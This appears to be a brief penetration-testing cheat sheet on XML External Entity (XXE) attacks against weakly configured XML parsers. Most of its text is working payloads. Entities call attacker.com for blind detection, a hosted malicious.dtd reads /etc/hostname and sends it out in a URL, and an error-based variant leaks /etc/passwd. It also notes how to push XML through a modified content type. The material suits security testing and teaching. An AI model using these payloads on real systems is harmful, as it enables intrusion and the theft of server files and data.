An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser.
--
Generally, XXE vulnerabilities arise when resolution of external entities and/or XInclude is enabled in the app/xml parser.
You can use out-of-band (OAST) to detect blind XXE vulnerabilities (e.g. using Burp Collaborator).
<!DOCTYPE oast [ <!ENTITY xxe SYSTEM "https://attacker.com"> ]>
Via parameter entities:
<!DOCTYPE oast [ <!ENTITY % xxe SYSTEM "https://attacker.com"> %xxe; ]>
Exfiltrate data
Create a malicious.dtd file, hosted on attacker controlled system:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'https://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
XXE payload on target:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://attacker.com/malicious.dtd"> %xxe;]>
Retrieve data via error message
Create a malicious.dtd file, hosted on attacker controlled system:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
XXE payload on target:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://attacker.com/malicious.dtd"> %xxe;]>
Modified content type
Some apps accept text/xml as content type of POST requests instead of e.g. application/x-www-form-urlencoded.
If so, malicious XML can be send to and will be proccessed by the app and my be exploitable that way.
